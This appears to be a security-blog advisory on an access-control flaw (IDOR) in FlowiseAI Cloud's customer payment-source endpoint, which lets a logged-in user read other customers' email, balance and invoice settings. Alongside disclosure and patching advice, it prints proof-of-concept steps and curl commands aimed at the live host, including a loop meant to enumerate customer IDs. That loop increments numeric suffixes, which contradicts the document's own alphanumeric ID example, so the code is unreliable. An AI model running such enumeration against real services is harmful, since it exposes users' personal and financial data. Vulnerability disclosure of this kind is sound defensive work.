Listen to this Post
The vulnerability exists because the application fails to implement proper object-level access control on the endpoint GET /api/v1/organization/customer-default-source. While the endpoint requires a valid session or token for authentication, it does not verify whether the authenticated user has the authority to access the specific `customerId` provided in the query string. When a request is made with a `customerId` parameter, the server processes it solely based on the existence of a valid session and returns the data associated with that ID, regardless of who the actual owner of that customer record is.
This design flaw allows any authenticated attacker to simply change the `customerId` value in the URL to target other users’ customer identifiers. The `customerId` values follow a predictable Stripe format (cus_...), making them easily enumerable. An attacker can therefore iterate through possible IDs and scrape sensitive payment and profile information of other customers without any authorization checks.
The exposed data includes Personally Identifiable Information (PII) such as email addresses, as well as financial details like account balances, currency types, and internal billing configurations. This breach of confidentiality not only compromises user privacy but also creates compliance risks under regulations like GDPR.
The following Proof of Concept demonstrates the issue: after logging in to cloud.flowiseai.com, an attacker captures a request to the payment source endpoint using a proxy tool, changes the `customerId` to a target’s ID (e.g., cus_U9ajkQvu0e67uH), and executes the request. The server responds with a `200 OK` status and returns the full customer object, including email, balance, currency, and invoice settings, confirming that the authorization bypass is successful.
DailyCVE Form:
Platform: FlowiseAI Cloud
Version: unspecified (before patch)
Vulnerability: IDOR (CWE-639)
Severity: Moderate
date: 2026-07-27
Prediction: 2026-08-10
What Undercode Say:
- Analytics: Endpoint lacks object-level authorization; customer IDs are predictable Stripe-formatted strings; exploit requires only a valid session; no user-specific ownership validation performed.
- Bash commands and codes:
Enumerate customer IDs by incrementing the numeric suffix for id in {000001..999999}; do curl -X GET "https://cloud.flowiseai.com/api/v1/organization/customer-default-source?customerId=cus_$id" \ -H "Cookie: session=YOUR_SESSION_COOKIE" \ -s -o /dev/null -w "%{http_code} %{url_effective}\n" done Single request to fetch a specific customer's data curl -X GET "https://cloud.flowiseai.com/api/v1/organization/customer-default-source?customerId=cus_U9ajkQvu0e67uH" \ -H "Cookie: session=YOUR_SESSION_COOKIE" \ -H "Accept: application/json"
Exploit:
- Authenticate to cloud.flowiseai.com.
- Intercept any request to `/api/v1/organization/customer-default-source` with Burp Suite or similar.
- Modify the `customerId` parameter to a known or enumerated target ID.
- Forward the request; the server returns the target’s full customer profile without any ownership check.
Protection:
- Implement server-side authorization checks that validate the requesting user’s ownership or permissions for the requested
customerId. - Use indirect reference maps or opaque tokens instead of predictable, enumerable IDs.
- Enforce strict role-based access control (RBAC) and object-level permissions on all API endpoints.
- Apply rate limiting and anomaly detection to flag bulk enumeration attempts.
Impact:
- Data Privacy Breach: Exposure of PII such as email addresses.
- Financial Information Leakage: Disclosure of account balances, currency settings, and invoice metadata.
- Compliance Risk: Potential violation of data protection regulations (e.g., GDPR) due to unauthorized access to user billing profiles.
- All registered users and organizations on the FlowiseAI Cloud platform are impacted.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
